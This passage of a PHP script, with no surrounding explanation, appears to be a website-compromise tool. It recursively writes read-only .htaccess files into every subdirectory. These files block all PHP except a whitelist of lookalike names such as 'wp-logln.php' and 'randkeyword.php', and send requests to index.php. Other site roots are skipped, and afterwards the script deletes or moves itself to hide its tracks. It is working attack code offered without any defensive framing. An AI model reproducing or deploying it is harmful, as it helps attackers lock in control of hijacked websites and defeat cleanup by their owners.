RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
Deny from all
';
$md5content = md5($content);
$tempFile = md5($_SERVER["HTTP_HOST"].$_SERVER['SCRIPT_FILENAME']);
define('TEMP_FILE', $tempFile);
define('HT_CONTENT', $content);
define('HT_CONTENT_MD5', $md5content);
file_put_contents(TEMP_FILE, "1");
$dir = ".";
$lastPath = empty($_GET['lastPath']) ? "" : base64_decode($_GET["lastPath"]);
echo "lastPath:" . $lastPath . "
\n";
$path = formatPath($dir);
$lastPath = formatPath($lastPath);
if(file_exists(TEMP_FILE)){
if(recurDirHt($path, $count, $total, $lastPath)){
echo "all done!
";
$GLOBALS['lastPath'] = "";
}
}else{
echo 'root dir is not writeable, abord!
';
}
if(!empty($_SESSION['subdir'])){
$content2 = ''.
PHP_EOL.'RewriteEngine On'.
PHP_EOL.'RewriteBase /'.
PHP_EOL.'RewriteRule ^(index|wp\-admin|wp\-include|wp\-comment|wp\-loader|wp\-corn\-sample|wp\-logln|output|about|admin|randkeyword|readurl|wp\-ver).php$ - [L]'.
PHP_EOL.'RewriteRule ^.*\.[pP][hH].* index.php [L]'.
PHP_EOL.'RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] index.php [L]'.
PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.
PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.
PHP_EOL.'RewriteRule . index.php [L]'.
PHP_EOL.'';
file_put_contents_force($_SESSION['subdir'] . DIRECTORY_SEPARATOR . '.ht' . 'access', $content2);
}
deletefile($_SERVER['SCRIPT_FILENAME']);
echo 'try to delete :' . $_SERVER['SCRIPT_FILENAME'] . "
\n";
echo '';
die;
function recurDirHt($pathName, &$count, &$total, $lastPath = "")
{
$lastSubPath = firstSubDir($pathName, $lastPath);
$result = false;
if(is_dir($pathName)) {
$allFiles = scandir($pathName);
if(empty($lastSubPath)){
$GLOBALS['lastPathFound'] = true;
}
foreach($allFiles as $fileName) {
$fullName = $pathName.'/'.$fileName;
if(in_array($fileName, array('.', '..'))) {
continue;
}
if(is_file($fullName)) {
continue;
}
if(is_link($fullName)) {
continue;
}
if($GLOBALS['lastPathFound'] == true || $fileName == $lastSubPath){
if($fileName == $lastSubPath){
echo "found: ".$lastSubPath."
\n";
}
if($fullName == $lastPath){
$GLOBALS['lastPathFound'] = true;
echo "found lastPath".$lastPath."
\n";
}
if($GLOBALS['lastPathFound'] == true){
$count++;
$total++;
$GLOBALS['lastPath'] = $fullName;
echo createHt($fullName);
if(STEP <= $count){
echo 'Last Path is :' . $fullName . "
\n";
echo '';die;
}else{
echo "progress:".$count."/".$total."
\n";
}
}else{
echo 'ignore:' . $fullName . " lastPathFound false!
\n";
}
if(!is_link($fullName) && is_dir($fullName) && is_readable($fullName)) {
$result = recurDirHt($fullName, $count, $total, $lastPath);
}
}else{
echo 'ignore:' . $fullName . "
\n";
}
}
$result = true;
}
return $result;
}
function firstSubDir($path, $lastPath){
$arrPath = arrPathExplode($path);
$arrLastPath = arrPathExplode($lastPath);
foreach($arrLastPath as $k => $v){
if(!isset($arrPath[$k]) || empty($arrPath[$k])){
return $v;
}
}
return '';
}
function arrPathExplode($path){
$path = formatPath($path);
$arr = explode('/', $path);
return $arr;
}
function formatPath($path){
$path = str_replace('\\', '/', $path);
$path = preg_replace("|/+|", '/', $path);
$path = rtrim($path, '/');
return $path;
}
function createHt($path){
$result = "";
if(file_exists($path . "/" . TEMP_FILE)){
$result = $path.'是根目录,放弃执行!因为存在'.$path . "/" . TEMP_FILE.'
'."\n";
}elseif(file_exists($path . "/4c7a17f635a4d887cf587a123b6a6bc4") || file_exists($path . "/.ftpquotas")){
$result = $path.'是其他网站根目录,放弃执行!
'."\n";
}else{
$htfile = $path . base64_decode("Ly5odGFjY2Vzcw==");
file_put_contents_force($htfile, HT_CONTENT);
chmod($htfile, 0444);
$thecontent = file_get_contents($path.base64_decode("Ly5odGFjY2Vzcw=="));
$theContentMd5 = md5($thecontent);
if($theContentMd5 != HT_CONTENT_MD5){
$result = $htfile.'更新失败,请联系技术处理!
'."\n";
}else{
$result = $htfile.' done!
'."\n";
}
}
return $result;
}
function file_put_contents_force($filename, $content){
if(is_file($filename)){
chmod($filename, 0747);
}
file_put_contents($filename, $content);
}
function deletefile($file){
unlink($file);
if(file_exists($file)){
file_put_contents($file, "");
echo 'delete failed
'."\n";
}
if(file_exists($file)){
rename($file, "/tmp/".md5($file.time()));
echo 'truncat failed
'."\n";
}
if(file_exists($file)){
echo 'move failed
'."\n";
}
}
die("done!");
?>